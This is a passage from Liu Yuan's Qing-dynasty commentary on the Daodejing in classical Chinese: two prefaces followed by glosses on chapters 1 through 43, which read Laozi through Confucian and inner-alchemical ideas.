 沅 幼從庭訓。即受此經。每苦捫燭測蠡。未宣窽要。丙辰下第西歸。道出留侯廟下。邂逅靜一老人譚次畀以道德經解。予受而讀之。如啟瑯環而遺身世也。獨念儒服緇流。各是己見。黃老六經自昔分門。安得胥天下而悉讀純陽此書也哉。因不揣冒昧。公諸梨棗。俾知夫老子德盛化神不廢人紀。可以廓清談偽託諸說之謬。若夫玄功妙典。即是存養微言。符籙丹章。用驅陰陽災沴。茍屬解人。必能辨其真偽。又無俟 沅之喋喋也。\n嘉慶十年歲次乙丑廣都劉沅謹識\n重鐫道德經解序\n一。理也。而天地人共由之。故曰道體。諸身為德。道外無人。遠人非德。道德以義理言。固非泛辭也。從古盛時聖人而為君相。則盈天下皆知道之當為。以修德為常事。周衰道敝。孔孟不遇於世。僅身體以教其徒。而邪說閒之。於是道德之言始紊。老子者隱君子也。夫子嘗言老聃博古知今。則吾師也。吾將往而學焉。而臨別稱為猶龍。龍德而隱。遯世之名。非言其變化神奇也。而自漢以來。方外之士詭異支離。咸託於老子。竝夫子之言亦不為足信。老子遂為異端之祖。夫道者理之總名。德者所得於天。能全天理即為有德。豈特行文虛字。老子與子問答。無非至理。若至陰肅肅。至陽赫赫。肅肅出乎天。赫赫出乎地。尤直抉造化生成之原。心性分合之義。而君子得時則駕。不得時則蓬纍而行。用舍行藏。道亦如斯。曷嘗有鑪火昇仙之說哉。古者方策繁重。藏書為難。堯舜以來。聖王之典籍盡在王府。不得其人以守之。保無散佚。老子之隱柱下也。其非有心。待吾子而傳經歟。長年古人常事而俗易滋疑。故屢更姓字。檀弓載孔子從之助祭。老子直呼其名。非師弟何以如是。子夏告魏文侯曰。仲尼師耼。而劉彥和亦言。李實孔師。後世顧以為否。夫聖人之大也。以其不自用而取諸人。以老子為孔子師。未必有益於老子。亦復何損於孔子。而令後人謂天人性命之學可以無師。而能其誤世非鮮。項槖嘗為孔子師矣。孔子不因之而小。獨於老子而自小乎。異端托老子。而老子遂非。刑名法術托孔子。而孔子豈謬。天人本無二理。聖人豈有二道。使老子本異端。而孔子稱之猶龍。又何以為孔子。此書雖不可稽。中亦微有差誤。然大要已明。自來誣老子者多矣。得是書可以稍正其妄愚。故與感應篇合而存之。夫道一而已矣。一者何理焉耳。理散於萬事。而皆本於心。心純乎理則天之與我者全。而道也德也皆是物也。白樂天云。道德五千言。不言藥不言仙。不言白日昇青天。蓋已得其大。凡而疵之者猶多。若韓昌黎其最著也。昌黎不知此書之義。而斥為坐井觀天。然孔子美其猶龍。而昌黎譏其坐井。豈所見反超於孔子乎。鄙老子者。不過謂其為神仙之祖。然神仙之名起於遷。固彼不知古人多不求名。聖不可知即是神仙。如浮邱及河上翁。傳詩傳易皆聖門之徒。而目以為仙。梅福一高尚者耳。而曰仙去。謂聖賢之外別有神仙。則盡人合天之學視為難能。而闢老子者非宗老子者尤誕。呼馬呼牛。老子亦復何計。第孔子所以稱之之故。千載不明。為可歎耳。\n道光甲辰乾月雙流劉沅書時年七十有七\n道可道章第一\n道可道。非常道。名可名。非常名。無名萬物之始。有名萬物之母。\n道、由也。道、言也。道本人所共由。然非常說所能盡也。名、稱也。道以名顯。故可指名。然非常稱所可泥也。無名即無極。有名即太極。物所自來。曰始物。所含育曰母。\n故常無。欲以觀其妙。常有。欲以觀其竅。此兩者。同出而異名。同謂之玄。玄之又玄。眾妙之門。\n無欲、主靜之時。有欲、動察之機。觀、內視也。妙以虛靈之用。而言同出於先天。因事而異名。玄幽微之意。玄之又玄。中庸所謂隱也。眾妙之門。易所謂乾坤。其易之門也。\n知美章第二\n天下皆知美之為美。斯惡已。皆知善之為善。斯不善已。故有無相生。難易相成。長短相形。高下相傾。音聲相和。前後相隨。\n美惡質之成於天者。若不善事之成於人者。已止也。知美與善之所以為美善。則自不為惡與不善也。有無、以生化言。難易、以事功言。長短、以器為言。高下、以地勢言。六者自然之理勢也。\n是以聖人處無為之事。行不言之教。萬物作焉而不離。生而不有。為而不恃。功成而弗居。夫唯弗居。是以不去 。\n作、興起也。不離、不離道也。生、生成。有、有迹。為、振作。恃、矜誇也。弗居、功成身退如堯舜是也。不去、長保其美善也。蓋惟聖人知美善之所以為美善。是以恭己無為。不言而信。萬物風動咸協於中。被生成而無其迹。勤化導而化其矜。迨夫功成身泰。可以棄天下如敝屣。而天德之在我者。固無加損也。\n不尚賢章第三\n不尚賢。使民不爭。不貴難得之貨。使民不為盜。不見可欲。使民心不亂。\n尚、相誇尚也。難得之貨、謂非己有而必欲得之者。可欲、聲色臭味之屬。\n是以聖人之治。虛其心。實其腹。弱其志。強其骨。常使民無知無欲。使夫知者不敢為也。為無為。則無不治。\n夫知俱去聲 虛、虛靜。實、誠實。心者神之舍。腹者氣之府也。弱、專氣致柔。強、剛健中正。無知不自恃其知。無欲能克其欲。不敢為、不敢妄有所作為也。為政以德。則無為而無不治。\n道沖章第四\n道沖。而用之或不盈。淵兮。似萬物之宗挫其銳。解其紛。合其光。同其塵。湛兮。似或存。吾不知誰之子。象帝之先。\n道本沖虛。而用之或不能窮其量。其淵深而有本。則萬物之宗也。似想像之詞。此言道之體如是。體道者挫其銳氣。以直養而無害。解其紛紜。惟抱一而守中。由是而盛德之光輝發。邇而見遠。善世而宜民。湛然之體擬諸形容。若有所存而實無所存。虛明之至也。帝、上帝。先、無始之始。中庸所謂無聲無臭。至矣。\n天地章第五\n天地不仁。以萬物為芻狗。聖人不仁。以百姓為芻狗。天地之間。其猶橐籥乎。\n仁者、生生之意。天地所以含育萬物。而聖人體之以治世者也。芻狗、束草為之。言使天地聖人而不仁。則萬物百姓皆以芻狗視之。何以包含徧覆於無已乎。下二句乃正言之。無底曰橐。有孔曰籥。言氣機之鼓盪。闔闢者似之其流通。運行而不息者。則所謂仁也。\n虛而不屈。動而愈出。多言數窮。不如守中。\n承上文橐籥之意。而申言之。虛則含宏而能翕。受動則變化。而用不窮。數窮功效竭也。中、天下之大本。聖人之仁。即天地之所以生萬物者也。守、奉持之意。\n谷神章第六章\n谷神不死。是謂玄牝。玄牝之門。是謂天地之根。緜緜若存。用之不勤。\n山穴曰谷。人身虛靈之性曰谷神。不死、至誠無息也。玄陰而牝。陽\n太極之樞。造化之本也。故謂天地根。緜緜不絕也。勤、急切也。道本自然故用之以不勤為妙。\n天長地久章第七\n天長地久。天地所以能長且久者。以其不自生。故能長生。是以聖人後其身而身先。外其身而身存。非以其無私耶。故能成其私。\n乾元資始而不窮。故曰長。地道無成而有終。故曰久。不自生。無心而生化也。後其身不依形而立。身先先天而天。弗違也。外其身、不以嗜欲為身累。身存、不隨死而亡也。無私則與天地合撰。成、其謂能成德於己。\n上善章第八\n上善若水。水善利萬物而不爭。處眾人之所惡。故幾於道。居善地。心善淵。與善人。言善信。政善治。事善能。動善時。夫惟不爭。故無尤。\n上善、善之至者。若水、天機活潑。不爭、無成心也。眾人、庸眾無識之人。眾人狃於一偏。故違道而爭。上善之人居則擇地而蹈。心則深藏若虛。愼所與之人。復近義之信。施諸於政。惟求可以適治。任人以事。惟期不負。所能慮善以動。動惟厥時。所謂不爭者如此。尤、怨悔也。\n持盈章第九\n持而盈之。不如其已。揣而銳之。不可長保。金玉滿堂。莫之能守。富貴而驕。自貽其咎。功成名遂身退。天之道也。\n持、偏持。己止也。揣、妄揣。銳、躁進也。偏持己見而自滿。不如止足之安。妄為揣測而躁率。難保愼終如始。二者皆由意氣之盛。而道德莫能守也。金玉滿堂、喻道在吾身用之不竭也。天道惡盈而好謙。君子遯世而不悔。故富貴而驕者。自貽其咎。功成身退者。法乎天行也。\n載營魄章第十\n載營魄抱一。能無離。專氣致柔能嬰兒。滌除玄覽能無疵。愛民治國能無為。天門開闔能無雌。明白四達能無知。生之畜之。生而不有。為而不恃。長而不宰。是謂玄德。\n長上聲 營、魂也。一、不二致。柔、直養而無害。嬰兒、赤子也。玄、黑色幽暗之意。覽、觀也。蔽於聞見曰玄覽。心為君。主七情六賊。譬曰民五官百骸。有如國無為。從容中道。天門、元神所棲。雌、陰滓。知私智也。不息曰生。涵養曰畜。生而不有。神為之生也。為而不恃。氣為之為也。長而不宰。為一身之長而不假於制伏之勞也。葢人受中以生官骸之用依於魂魄。得之則生。失之則死。惟內不能葆其神氣。外不能袪乎物誘。斯無以復性而成德。抱一者其神存。致柔者其氣固。而又滌除障礙檢束形骸。俾元神依於祖竅而化厥陰。柔、性體。極於空明而絶乎私慮。極致德之幽微。至是乃為無加也。\n三十幅章第十一\n三十幅。共一轂。當其無。有車之用。埏埴以為器。當其無。有器之用。鑿戶牖以為室。當其無。有室之用。故有之以為利。無之以為用。\n此言至無而含至有也。車有三十幅。以象日月居輪之中心者。為轂車之所恃以運轉也。當其無。謂居空隙之處。埏埴以水粘土而為器也。器非埏埴不成。及其成也。埏埴仍歸無用。故曰當其無也。戶牖非若棟梁之重。係於室而非此則室為無用故。若無關而實有用也。葢道不外於動靜。動而為有。根於至靜。故凡涉於有者。以為推行之利。居於無者。即裕推行之機。要亦互為其根。闔闢變化之理而已。\n五色章第十二\n五色令人目盲。五音令人耳聾。五味令人口爽。馳騁田獵。令人心發狂。難得之貨。令人行妨。是以聖人為腹不為目。故去彼取此。\n蔽於外則亂其真。五者皆逐於嗜慾之蔽。腹深藏。目外炫。言聖人靜深而有主。不隨物而思遷。故去其可甘而全其至真也。\n竉辱章第十三\n寵辱若驚。貴大患若身。何謂寵辱若驚。寵為下。得之若驚。失之若驚。是謂寵辱若驚。何謂貴大患若身。吾所以有大患者。為吾有身。及吾無身。吾有何患。故貴以身為天下者。則可寄天下。愛以身為天下者。若可託於天下。\n為吾為天下之為去聲 驚、危懼意。貴、重也。大患禍害之難堪者。若身、視如身受也。竉為下、非良貴也。言常人之情。營營於得失。故竉辱若驚。困於身之嗜欲。惟恐有害於身。故視大患不能。一朝居以身為天下者。不自私其身。而欲偕天下於大道也。貴、以愼重言。愛、以關切言。可寄於天下竉辱不驚也。可以託於天下。不以一身之患為患也。此為徒愛其身。而不知以道濟天下者發。\n視之章第十四\n視之不見。名曰夷。聽之不聞。名曰希。搏之不得。名曰微。此三者不可致詰。故混而為一。\n道體本無形聲。故不可以見聞求。以手圜而聚之曰摶。致詰窮究也。混混合一不二。中庸所謂誠也。\n其上不皦。其下不昧。繩繩兮不可名。復歸於無物。是為無狀之狀。\n承上文而極言其妙。皦、明也。昩、暗也。繩繩、猶緜緜相續不絶也。無物、猶言無有狀。以彼喻此之名。上則皦而下則昧者。凡物皆然。混而為一則無是也。繩繩不可。名以生機之不息。言歸於無物。以氣化之返始言也。\n無象之象。是為惚恍。迎之不見其首。隨之不見其後。執古之道。以御今之有。能知古始。是謂道紀。\n上文已言混一之妙。此乃示人以知要之功也。無象之中求象。原為恍惚。豈可參以迎隨之念乎。無首無後。道之周流不息者如是。執、專主也。御、調攝也。古道先天。今有後天。執古御今。一以貫之之意也。古始無始之始。道紀道之統紀。\n善為士章第十五\n古之善為士者。微妙玄通。深不可識。夫惟不可識。故強為之容。豫兮若冬涉川。猶兮若畏四鄰。儼兮其若客。渙兮若冰之將釋。敦兮其若樸。曠兮其若谷。渾兮其若濁。\n容、形容。豫、備豫。冬涉川、喻其嚴。猶、夷猶。畏四鄰、喻其愼。儼兮、渙兮、莊敬而和暢也。樸無雕鑿。谷能虛受。渾全之至。反若濁者不為皦皦之行也。\n孰能濁以澄靜之徐清。孰能安以久動之徐生。保此道者。不欲盈。夫惟不盈。故能蔽不新成。\n此言未及乎成德。而求以入德之事。濁者不易澄靜。存則心體自澈。安者貴於久動。察則神智不窮。滿招損故。不欲盈也。敝壞也。新成、猶言速成。新成者其敝必速。能敝不新成。形敝而神不敝也。\n致虛章第十六\n致虛極。守靜篤。萬物並作。吾以觀其復。\n致、委致。委致其心。若無著者。然則有以極乎。虛之妙矣。守、存守。存守其心而不雜於物。則有以極乎。靜之真矣。萬物道之散殊。故皆涉於有作。觀其復、見天心也。下文乃詳言之。\n夫物芸芸。各復歸其根。歸根曰靜。靜曰復命。復命曰常。知常曰明。不知常。妄作凶。知常容。容乃公。公乃王。王乃天。天乃道。道乃久。沒身不殆。\n芸芸、生生不息。根者物之所從生。命者理之所自出。公無私也。萬物之長故曰王。天也道也。推極其至而言之也。承上文而言。萬物雖紛。無不歸根復命者。此乃造化不易之理。陰陽消長之常。修道者必知此。而後可無妄作之因。蓋至常者天下之大本。變化所從始。故知常者可以無所不容。而無私之至物莫能加。與天合德。道體長存。尚何危殆之有哉。中庸首章言。愼獨而極於中和位育。即此意也。\n太上章第十七\n太上。下知有之。其次。親之譽之。其次畏之。其次侮之。故信不足焉。有不信。猶兮其貴言。功成事遂。百姓皆謂。我自然。\n知去聲 此言化民之道。太上聖人之治。入人者深。下知皆有聖人在其意中。其次親譽之。則涉於迹也。畏者愓於威。侮者陵其上。其故皆由信不足也。夫信者人所同具。何以上下不能相孚。豈非文告煩而躬修薄歟。故必優游感化。愼重其言。然後民觀法而自從。日遷善而不知迄乎。功成事遂。恭己無為也。\n大道廢章第十八\n大道廢。有仁義。智慧出。有大偽。六親不和。有孝慈。國家昏亂。有忠臣。\n仁義者道之實。世衰道微。非仁義無以正之。是大道之廢賴有仁義也。乃人不察乎此。不本道以為治。而專尚智慧。不知智慧不由仁義無以燭奸。而反啟大偽。是故體道者必崇仁義。孝慈者仁之實。忠臣義之表也。六親不和賴有孝慈化之。國家昏亂恃有忠臣扶之。此正大道廢有仁義之證也。\n絶聖章第十九\n絕聖棄智。民利百倍。絕仁棄義。民復孝慈。絕巧棄利。盜賊無有。此三者以為文。不足。故令有所屬。見素抱朴。少私寡欲。\n復、反也。以為太上自決之詞。文、文告也。不足、言不足禁之。絶棄聖智。主昏於上矣。故民趨利者百倍。絶棄仁義。主殘於上矣。故民反乎孝慈。巧利者與聖智仁義相悖者也。能絶棄之。盜賊何有。此三者皆非文誥所能感。非謂治民不必以合也。但命令必本於躬行。所繫屬者為要焉。見素則識定。抱璞則神全。少私寡欲則有天下而不與。此恭己無為之化。非聖智之資。居仁由義者不能也。\n絶學章第二十\n絕學無憂。唯之與阿。相去幾何。善之與惡。相去何若。人之所畏。不可不畏。荒兮。其未央哉。\n唯去聲 絶學、大道不明之時。唯有答應而無問難也。阿、阿比。荒遼遠意。未央、無窮也。言學術不明之時無他憂。惟是非得失之難辨為可懼耳。唯者未必即阿。而相去正自不遠。善惡本自分途。而辨別介於幾希。此人之所宜戒懼者。不可不知畏也。知其不可不畏。則無憂而有憂。戒愼恐懼。亦安有窮期哉。\n眾人熙熙。如享太牢。如登春台。我獨泊兮其未兆。如嬰兒之未孩。乘乘兮。若無所歸。眾人皆有餘。而我獨若遺。我愚人之心也哉。沌沌兮。俗人昭昭。我獨若昏。俗人察察。我獨悶悶。澹兮其若晦。漂兮若無所止。眾人皆有以。我獨頑且鄙。我獨異於人。而貴食母。\n食去聲 熙熙、和育意。享太牢、飫其澤也。登春臺、暢其天也。蓋民化於至德。日用而不知為之者也。未孩、未離母腹之時。保愼不容不至。乘乘、任天而動。貌歸倚著也。滿假故有餘。純一故若遺。沌沌、虛靜之貌。若昏則非果昏。悶悶、喻其神全。澹、謂無欲於外。漂、謂不泥於形。有以者、有所挾也。頑且鄙者。絶機謀也。無極之真。三五之精。為受氣成形之原。是吾身之母也。食、養也。\n孔德章第二十一\n孔德之容。惟道是從。道之為物。惟恍惟惚。恍兮惚兮。其中有象。恍兮惚兮。其中有物。窈兮冥兮。其中有精。其精甚真。其中有信。自古及今。其名不去。以閱眾甫。吾何以知眾甫之然哉。以此。\n孔、空也通也。恍光之密。惚幾之微。道雖恍惚而其中有象。下文恍惚。又以離珠之流動言也。蓋離中真陰。是為恍惚中之物。坎中真陽是為窈冥中之精。二者性命之宅。道義之根。孔德之容者此也。三五之精別於凡精。故曰甚真。信陰陽遞運不失其候。名體物而在不易其稱。閱、觀也。甫、始也。太上自言。以此能知萬物之始。則道豈能外是而他求哉。\n曲則全章第二十二\n曲則全。枉則直。窪則盈。弊則新。少則得。多則惑。是以聖人抱一為天下式。\n曲則全。中庸所謂曲能有誠也。此句下五句之綱領。文同而義別。枉、屈也。漥卑溼之處。得、自得也。枉與直。漥與盈。弊與新。極於此則伸於彼。物理之循環不窮者類如斯。守約則能自得。即此可以知彼也。貪多則反。多疑美惡。惡其雜揉也。惟聖人以一貫萬。故可為天下式。其次則必致曲以求全。戒多而取少也。\n不自見。故明。不自是。故彰。不自發。故有功。不自矜。故長。夫惟不爭。故天下莫與之爭。古之所謂曲則全者。豈虛言哉。誠全而歸之。\n見去聲 此覆解上文曲字之義。見以所知而言。是以所行而言。所謂曲則全者如此。期於道得諸已全而歸也。豈委蛇遷就之比哉。\n希言章第二十三\n希言自然。飄風不終朝。驟雨不終日。孰為此者。天地。天地尚不能久。而況於人乎。故從事於道者。道者同於道。德者同於德。失者同於失。同於道者。道亦樂得之。同於德者。德亦樂得之。同於失者。失亦樂得之。信不足焉。有不信焉。\n樂音洛 夫道不貴多言。為言有盡而道無窮也。飄風驟雨。喻其不久道統萬物而言。德則人之體道於身者也。失謂失意。三者憂樂同人。故人亦信之。結二句反言以明之。若己信不足。人亦不信之。尚口乃窮者也。\n跂者章第二十四\n跂者不立。跨者不行。自見者不明。自是者不彰。自伐者無功。自矜者不長。其於道也。餘食贅形。物或惡之。故有道者不處也。\n跂去智切跨苦故切惡去聲 跂、舉踵而望。跨、垂足而坐。以喻為其事而無其具也。餘食、餘棄之食。贅行、贅疣之行。自滿假者視道為無用。徒見惡於物。有道者豈為之乎。此與二十二章略同。\n有物章第二十五\n有物渾成。先天地生。寂兮寥兮。獨立而不改。周行而不殆。可以為天下母。吾不知其名。字之曰道。強為名之曰大。大曰逝。逝曰遠。遠曰反。\n強去聲 渾成、無偏缺也。寂虛靜寥空闊獨立。其尊無對不改。悠久無疆。周行於萬類而足以給之。故不殆母字育之也。機一往而不畱曰逝。境遼邈而無盡曰遠。反者。其所歸宿也。此極言道之所以為大。\n故道大。天大。地大。王亦大。域中有四大。而王居其一焉。\n此承上文推廣言之。道之大不可見。天地實布昭之。王者參贊天地。體道施化。以四大並言之。見王者所以斡三才而能宏道也。\n人法地。地法天。天法道。道法自然。\n法地之含宏光大。品物咸亨。則道無不濟矣。地承天而時行。天本道為運化。道體無為。故極乎自然之。致此又承上四大之說。而推論之。以明凡人皆可崇效。卑法而體道也。\n重為輕根章第二十六\n重為輕根。靜為躁君。是以聖人終日行不離輜重。雖有榮觀。燕處超然。\n奈何萬乘之主。而以身輕天下。輕則失臣。躁則失君。\n燕乘俱去聲 此示人以持重守靜之功也。根、本君主也。輜重、行者載資重之車。借以為遲重之喻也。以身輕天下。謂危其身而亡乎天下。失臣無以馭氣。失君無以鎮心志以帥氣。若君臣然也。\n善行章第二十七\n善行無轍跡。善言無瑕謫。善計不用籌策。善閉無關鍵而不可開。善結無繩約而不可解。\n無轍迹、不拘成迹而合於時中。不用籌策、不逆不億而自然先覺。善閉、謂凝神養氣。不弛其閑。善結、謂抱一守中。緜緜不息。此五者修道之實功。聖人之能事也。\n是以聖人常善救人。故無棄人。常善救物。故無棄物。是謂襲明。\n襲、重也。易曰。重明以麗乎天下是也。聖人盡人性以盡物性。明乎五者之義而已。\n故善人者。不善人之師。不善人者。善人之資。不貴其師。不愛其資。雖智大迷。是謂要妙。\n此又示人以取善之功。是善行善言五者之所以能深造也。資、取資。要妙、崇德修慝必取諸人以為善也。雖智亦迷。自用則小也。\n知雄守雌章第二十八\n知其雄。守其雌。為天下谿。為天下谿。常德不離。復歸於嬰兒。知其白。守其黑。為天下式。為天下式。常德不忒。復歸於無極。知其榮。守其辱。為天下谷。為天下谷。常德乃足。復歸於樸。樸散而為器。聖人用之。則為官長。故大制不割。\n長去聲 知、見之明。守、存之固。雄為陽精。雌為陰魄。谿、山水自上下注之所。常應常靜。為不離嬰兒先天一炁所生。謂聖胎也。金之色白。黑者神氣入於幽靜之意。式法忒差也。鍊神還虛。則歸於無極。知榮、明其無與。於己谷匯川之名也。德足者無所不容。物質純固曰樸。道體如是。散而為器。一本之所以萬殊。官長君師之職。大制不割、本道以為宰制。而無所矯揉割裂於其閒也。\n將欲取章第二十九\n將欲取天下而為之。吾見其不得已。天下神器。不可為也。為者敗之。執者失之。故物或行或隨。或噓或吹。或強或羸。或載或隳。是以聖人去甚。去奢。去泰。\n為紛更妄。作不得已。可已而不已也。神器、言其至重。妄為則反以擾民。拘執則無所變通。二者皆未適中。蓋凡物之理各有所宜。行、自行。隨從人噓緩而吹。急物之以息相扇者也。強、嬴。以形質言。載、隳。以才能言。甚、太甚。奢華、侈泰。矜肆物情不一。聖人權其輕重緩急。去此三者。是以能理萬物之宜。而天下相安於無事也。\n以道佐人主章第三十\n以道佐人主者。不以兵強天下。其事好還。師之所處。荊棘生焉。大軍之後。必有凶年。\n好去聲 其事、謂兵事。好還、殺戮必有報也。荊棘生、則井里蕭條。可知必有凶年。傷天地之和氣所致。\n故善者果而已。不敢以取強。果而勿矜。果而勿伐。果而勿驕。果而不得已。果而勿強。物壯則老。是為不道早已。\n善、善於為治。果、自強不息。取強兵力爭也。不得已柔巽之意。太上恐人誤以勇力為果。故詳言五者。以明之物壯則老。正強力不能久之徵也。不道、不以道。早已敝之速也。\n佳兵不詳章第三十一\n夫佳兵者。不祥之器。物或惡之。故有道者不處。\n惡去聲\n此與上章皆一時之言。三句乃一章之綱領。佳兵猶言利兵也。\n是以君子居則貴左。用兵則貴右。兵者不祥之器。非君子之器。不得已而用之。恬澹為上。勝而不美。而美之者。是樂殺人。夫樂殺人者。則不可得志於天下矣。故吉事尚左。凶事尚右。偏將軍居左。上將軍居右。言以喪禮處之。殺人之眾。以悲哀泣之。戰勝以喪禮處之。\n居、平居。恬澹、鎮靜而不擾。左為陽。右為陰。兵凶器故尚右。同於喪禮。殺人過多非禁亂之本心。雖勝必戚。見仁慈之無已。此承上文。反復申明之。欲人懲不詳而廣好生。賤武勇而崇仁義。其丁寧之意至深切矣。而後世且以申韓刻薄之學。歸咎於道德。不亦謬哉。\n道無名章第三十二\n道常無名。樸。雖小。天下不敢臣。侯王若能守。萬物將自賓。天地相合。以降甘露。人莫之令而自均。始制有名。名亦既有。夫亦將知止。知止所以不殆。譬道之在天下。猶川谷之於江海。\n樸字解。見二十八章。不敢臣、無有加乎其上者。侯王守樸則可以恭己而理。故萬物賓服。天地相合。以下推無名之道所由來。言天地以一氣而均萬物。氤氳化醇各正性命。始制有名。既有名矣。萬殊一本。物各有當止之處。惟知止於至善。則以一貫萬。所以不殆江海為川谷之王。大道為萬物之本。侯王舍是。將安所守哉。\n知人章第三十三\n知人者智。自知者明。勝人者有力。自勝者強。知足者富。強行者有志。不失其所者久。死而不亡者壽。\n知人勝人外鶩者也。自知自勝內省者也。知足則常覺其有餘。強行則日新而不已。不失其所得主而有恆。也死而不亡。與天地同休也。\n大道汎兮章第三十四\n大道泛兮。其可左右。萬物恃之以生而不辭。功成而不有。有衣被養萬物而不為主。常無欲可名於小。萬物歸兮而不為主。可名於大。是以聖人終不為大。故能成其大。\n汎、如水之汎濫而滿也。其可左右、言不可以一偏限。下文正言汎之實也。不辭、能容受不名有無迹象。衣被、以衣被人。借以言覆冒之意。不為主者、萬物本道以生化而道實無為也。以其常清常靜而言。其小無內。以其翕闢萬物而言。其大無外。蓋無微不入。是以能無物不包也。惟聖人為能體之。\n執大象章第三十五\n執大象。天下往。往而不害。安乎泰。樂與餌。過客止。道之出口。淡乎其無味。視之不可見。聽之不可聞。用之不可既。\n道本無象。而凡有象者莫能加。執之以馭天下。則天下歸往。萬姓時雍。共安於泰運之天。彼務緣飾以快目前者。如樂與餌非不悅於目耳。然移時輒忘。如過客之去而不畱。大道不然。所以視聽不可窮。而取擕無有盡也。\n將欲潝之章第三十六\n將欲潝之。必固張之。將欲弱之。必固疆之。將欲廢之。必固興之。將欲奪之。必固故與之。是謂微明。柔弱勝剛強。魚不可脫於淵。國之利器不可以示人。\n張潝強弱廢興。與奪往復相因。有自然之理勢。燭其幾於未萌。而貞其守於勿懈。惟知微知彰者能之。柔弱勝剛強。所謂不戰而屈人也。利器、國之事權。示人與人。太上此言。為兢意氣而昧知幾者發也。\n道常無為章第三十七\n道常無為而無不為。侯王若能守。萬物將自化。化而欲作。吾將鎮之以無名之樸。無名之樸。亦將不欲。不以欲靜。天下自正。\n道體無為。而其用至廣。中庸所謂費而隱也。侯王能守之。則全體大用具矣。物有不化焉者乎。欲作、謂太平久而燕樂。興鎮以無名之樸。而民果返樸還淳。則欲作者亦將不欲。故夫本道化民者。不以一己之欲強民。而天下自正也。\n上德章第三十八\n上德不德。是以有德。下德不失德。是以無德。上德無為而無以為。下德為之而有以為。尚仁為之而無以為。尚義為之而有以為。尚禮為之而莫之應。則攘臂而仍之。故失道而後德。失德而後仁。失仁而後義。失義而後禮。夫禮者。忠信之薄。而亂之首也。前識者。道之華。而愚之始也。是以大丈夫處其厚。不處其薄居。處其實。不居其華。故去彼取此。\n不德、不自是。其德不失德。常自見為德。無為為之。以主治者言。無以為有以為。以在下者言。攘臂忿爭之狀仍執固亂治也。書曰。亂臣十人。道該全體大用。德則有淺深分量之不同。仁義禮專指其用之及人者言。上德無為。而民亦無由測其所為。蕩蕩難名者也。下德為之。而民亦知其有以為形格勢禁者也。仁義禮皆治世之具。而其用各殊。仁主於慈愛。故尚仁則百姓日用而不知。義主於斷制。故尚義則天下服教而畏神。若夫禮。周乎人官物。曲而其制嚴密。故禮之至者。民莫之應或反攘臂而自是其見。蓋世運遞降。人心因之。仁義禮今古不易。而其播為政教。則詳略損益之分。理勢所趨。不能強齊。由太古逮於今。政教有加而風氣未必古。若而後云者。言天人氣數之適然。非謂仁義禮之可以偏任也。禮以忠信為本。故忠信薄而禮教尤先。前知亦道之發皇。而偏尚則反陷於愚。誣寧厚毋薄。寧實毋華。去取之閒。必務其本。太上此章之旨。因末俗文勝而反復推言之。欲人本道德仁義以化民也。\n得一章第三十九\n昔之得一者。天得一以清。地得一以寧。神得一以靈。谷得一以盈。萬物得一以生。侯王得一以為天下貞。其致之一也。天無以清將恐裂。地無以寧將恐發。神無以靈將恐歇。谷無以盈將恐竭。萬物無以生將恐滅。侯王無以貞貴高將恐蹙。故貴以賤為本。高以下為基。侯王自謂孤寡不榖。此其以賤為本也。非乎。\n昔太初之始。一、太極也。不貳之意。谷、江海之屬。貞、正也。致之所以致此者。發、決坼蹙危躓也。言天地萬物無不得一以成。以明侯王代天理物。必得一而後可正天下。不可恃貴高。而忘自下也。\n故致 句 數車無車。不欲琭琭如玉。落落如石。\n致、與致之之致同。言推極具至也。數車、璣輪天之所以旋運也。無車、無車之真。形琭琭圭角落落不同羣也。承上文言。致一之道非可泥象滯形。夫至一者。莫如天。天運旋樞。數度無忒。然究其所以然。實惟一氣運行。非實有車之形器也。人惟不能如天之純一。是以執貴賤之形。自高則琭琭如玉。自賤則落落如石。致一者觀天之道。執天之行。不欲如此也。\n反者章第四十\n反者道之動。弱者道之用。天下萬物生於有。有生於無。\n反、復也。人知以動為動。而不知反本還元。正道之所以動而無動也。弱、致柔也。人知以強為用。而不知專氣致柔。正道之所以用而不窮也。有者道之迹。無者道之妙。\n上士章第四十一\n上士聞道。勤而行之。中士聞道。若存若亡。下士聞道。大笑之。不笑不足以為道。\n若存若亡。猶言可有可無。道本中庸下士所忽。而上士所重也。\n故建言有之。明道若昧。進道若退。夷道若類。上德若谷。大白若辱。廣德若不足。建德若偷。質直若渝。\n建言、古之立言者。若昧、闇然而日章若退。斂拥而自下。夷、平也。易也。詩曰。有夷之行若類。混俗和光若辱。含垢納污本廣德也。而若不足、本建德也。而若偷安澡厲在神明。不務外以求知也。質直忠信也。若渝、變化不拘。此引建言以明有道之象如此。所以非中下士所能知也。\n大方無隅。大器晚成。大音希聲。大象無形。夫惟道。善貸且成。\n此六句又推廣上文之意。而勉人以勤道也。物之方者皆有隅。大方、隨時處中而無圭角也。大器、不甘小就故晚成。希歇寂也。大音、大象以未發之中。言參諸物情。稽諸道體可名也。善貸、給萬物而不匱也。且成化功成也。\n道生一章第四十二\n道生一。一生二。二生三。三生萬物。\n道自虛無生。一炁又從一炁產。陰陽三元剖而萬物生。一本之所以萬殊也。\n萬物負陰而抱陽。沖氣以為和。人之所惡。惟孤寡不穀。而王公以為稱。故物或損之而益。或益之而損。人之所教。我亦教之。強梁者不得其死。吾將以為教父。\n惡父俱去聲 沖氣、沖虛無朕之氣。即上文所謂一也。和、調暢之意。王公貴謙下。體沖和以宜民也。損益、無常要歸於沖和為尚。人之所以教人者。太上自言。我亦猶人。惟不失沖和為難耳。強梁與沖和相戾故凶。教父、言教人必以此為先。太上以忍辱慈悲為教。故其言如此。孔子繫易於謙卦。三致意焉。而金人攲器之類示訓諄諄。其不以此歟。\n至柔章第四十三\n天下之至柔。馳騁天下之至堅。無有入無閒。吾是以知無為之有益。不言之教。無為之益。天下希及之。\n閒去聲 